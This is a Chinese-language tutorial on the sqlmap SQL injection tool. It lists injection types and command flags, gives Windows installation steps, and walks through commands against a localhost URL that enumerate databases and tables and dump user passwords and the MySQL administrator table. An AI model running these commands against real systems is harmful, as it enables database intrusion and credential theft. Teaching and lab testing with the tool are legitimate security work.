sqlmap的使用详细讲解

一、sqlmap介绍

  简介：是一个自动化的sql注入工具，主要功能扫描、发现并利用给定的
        url的sql注入漏洞，内置了很多插件
  sqlmap支持的数据库： MySQL、oracle、sql-server、DB2....
  注意：sqlmap只用来检测和sql注入，不能扫描网站的漏洞
sqlmap使用的sql注入方式：
    1、基于布尔类型盲注：可以根据页面的返回判断条件真假的注入
    2、基于时间的盲注；根据页面返回内容判断，延迟时间是否执行
    3、基于报错注入：根据页面返回的错误信息
    4、联合查询注入：根据使用的union的情况下注入

sqlmap的简单使用：
  -u  url:  检测的注入点
  --dbs:   列出所有数据库的名称
  --current-db: 列出当前的数据库名称
  -D：   指定的一个数据库
  --tables:  列出数据库表名称
  -T：   指定的一个表名称
  --columns: 列出所有的字段名
  -C:    指定字段
  --dump：  列出字段的内容
  --users: 获取数据所有的用户信息

安装sqlmap:

  1、安装Python2.7 ，新建一个目录：python2.7
  2、双击Python安装包，安装到python2.7目录
  3、将python2.7添加环境变量
  4、解压sqlmap1.5压缩包到D盘：d:/sqlmap
  5、win+R 输入cmd 进入到D盘
        C:\Users\xiaolin>d:
        D:\>cd sqlmap
        D:\sqlmap>sqlmap.py  回车，如果出现sqlmap图标说明成功

           
二、使用sqlmap

 1、获取数据库的所有数据库名称
 sqlmap.py  sqlmap -u http://127.0.0.1/xxx --dbs
 2、获取当前的数据库名称
 sqlmap.py  sqlmap -u http://127.0.0.1/xx --current-db
    获取到的数据库名称： news
 3、获取当前的数据库news所有表名称
 sqlmap.py  sqlmap -u http://127.0.0.1/xx -D news --tables
 4、获取当前的数据库news下news_users表所有字段名称
 sqlmap.py  sqlmap -u http://127.0.0.1/nxxx -D news -T news_users --columns
 5、获取news库下的news_users表的数据
 sqlmap.py  sqlmap -u http://127.0.0.1/nxxx -D news -T news_users -C username,password --dump

获取MySQL数据库管理员信息： 
sqlmap.py  sqlmap -u http://127.0.0.1/nxx -D mysql -T  user --dump
 
sqlmap.py  sqlmap -u http://127.0.0.1/xx -D  information_schema  -T tables -C TABLE_NAME,TABLE_SCHEMA --dump